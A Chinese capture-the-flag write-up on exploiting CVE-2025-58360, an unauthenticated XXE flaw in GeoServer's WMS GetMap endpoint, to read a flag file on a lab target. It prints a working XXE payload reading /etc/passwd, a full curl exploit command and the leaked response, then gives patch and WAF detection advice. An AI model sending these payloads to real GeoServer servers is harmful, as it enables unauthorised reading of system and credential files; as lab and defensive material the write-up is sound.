玄机网络安全靶场:GeoServer XXE 任意文件读取(CVE-2025-58360)

解题报告:GeoServer XXE 任意文件读取(CVE-2025-58360)

平台: 玄机 (xj.edisec.net)
题目 ID: 443
难度: 简单
类型: 渗透
积分: 300 分
完成状态: ✅ 已完成
Flag: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


一、漏洞背景

CVE-2025-58360 是 GeoServer(一款开源地理空间数据服务器)中存在的 XML 外部实体注入(XXE) 漏洞。该漏洞于 2025 年 11 月 25 日由 XBOW 安全研究团队披露,CVSS v3 评分 8.2(高危),且已被 CISA 确认存在在野利用。

属性 详情
CVE 编号 CVE-2025-58360
影响版本 GeoServer ≤ 2.25.5 及 2.26.0--2.26.1
修复版本 GeoServer 2.25.6 / 2.26.2 / 2.27.0+
漏洞类型 XML 外部实体注入(XXE → 任意文件读取 / SSRF)
漏洞端点 POST /geoserver/wms(operation=GetMap)
CVSS 评分 8.2(高危)
认证要求 无需认证(未授权可利用)

二、靶机信息

项目
靶机公网 IP 68.79.22.133
靶机内网 IP 10.0.10.2
服务端口 8081
服务路径 /geoserver
目标文件 /usr/local/flag.txt

三、漏洞分析

3.1 漏洞成因

GeoServer 的 WMS(Web Map Service)GetMap 操作支持通过请求体传入 StyledLayerDescriptor(SLD) 格式的 XML 数据,用于描述地图渲染样式。然而,GeoServer 使用的 XML 解析器未禁用外部实体解析(DTD/ENTITY),导致攻击者可以在 SLD XML 中定义外部实体,引用服务器本地文件,从而实现任意文件读取。

复制代码
POST /geoserver/wms?service=WMS&request=GetMap&...
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">    ← 定义外部实体
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>    ← 引用实体,触发文件读取
  </NamedLayer>
</StyledLayerDescriptor>

3.2 数据泄露路径

GeoServer 在处理 GetMap 请求时,将 <Name> 标签的内容作为图层名称进行查找。当图层名称不存在时,服务器会在 ServiceExceptionReport 响应中返回 Unknown layer: <图层名> 的错误信息,而此时图层名已被替换为外部实体的文件内容,从而实现带内(In-Band)XXE 数据泄露


四、漏洞利用过程

4.1 确认服务可访问

bash 复制代码
curl -s -o /dev/null -w "HTTP Status: %{http_code}\n" \
  http://68.79.22.133:8081/geoserver/web/
# 返回 HTTP 302(重定向至登录页),确认 GeoServer 服务存在

4.2 构造 XXE Payload

bash 复制代码
curl -s -X POST \
  -H "Content-Type: application/xml" \
  "http://68.79.22.133:8081/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  --data '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///usr/local/flag.txt">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'

4.3 服务器响应(含 Flag)

服务器返回 XML 格式的错误响应,文件内容在 <ServiceException> 标签中泄露:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE ServiceExceptionReport SYSTEM 
  "http://68.79.22.133:8081/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtd">
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: FLAG{CVE-2025-58360_GeoServer_XXE_Success}
  </ServiceException>
</ServiceExceptionReport>

Flag 成功读取: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


五、关键技术要点

1. 带内 XXE(In-Band XXE):本漏洞属于带内 XXE,文件内容直接在 HTTP 响应体中返回,无需外带(OOB)通道,利用极为简单。

2. 无需认证/geoserver/wms 端点无需登录即可访问,攻击者可直接发起利用。

3. 一次请求即可获取 Flag :整个利用过程仅需一条 curl 命令,响应时间约 2 秒,极为高效。

4. 数据泄露载体:GeoServer 将未知图层名称原样返回在错误信息中,这是 XXE 数据泄露的关键路径。


六、修复建议

修复方向 具体措施
升级版本 升级至 GeoServer 2.25.6、2.26.2 或 2.27.0 及以上版本
禁用外部实体 在 XML 解析器配置中设置 FEATURE_SECURE_PROCESSING = true,禁用 DTD 和外部实体
网络访问控制 限制 GeoServer 管理端口仅对可信 IP 开放
WAF 规则 检测请求体中包含 <!DOCTYPE<!ENTITYSYSTEM 等 XXE 特征的请求
相关推荐
鹤落晴春18 分钟前
【Linux复习】管理SELinux安全性
linux·运维·服务器
56AI29 分钟前
2026 企业级AI智能体开发平台推荐:聚焦底层安全与准确率的智能体平台
人工智能·安全·智能体
AI智图坊42 分钟前
多件装组合SKU图的批量生产效率分析:从PS手工到AI自动化的工作流改造
大数据·运维·人工智能·gpt·ai作画·自动化·aigc
不知名的老吴1 小时前
线程的生命周期之线程“插队“
java·开发语言·python
ANnianStriver1 小时前
PetLumina-02-后端开发与前后端联调
java·ai·sa-token
杨了个杨89822 小时前
Keepalived + Nginx + HAProxy 高可用架构部署实战案例
java·nginx·架构
站斧小威2 小时前
TikTok跨境电商浏览器怎么使用:多账号防关联,IP独立隔离
安全
换个昵称都难3 小时前
webrtc 音频模块FEC模块
网络·音视频·webrtc
马士兵教育4 小时前
Java还有前景吗?Java+AI大模型学习路线及项目?
java·人工智能·python·学习·机器学习
youngerwang4 小时前
【从搬运工到协处理器:网卡芯片架构、算法、验证与边缘演进深度剖析】
网络·算法·架构·芯片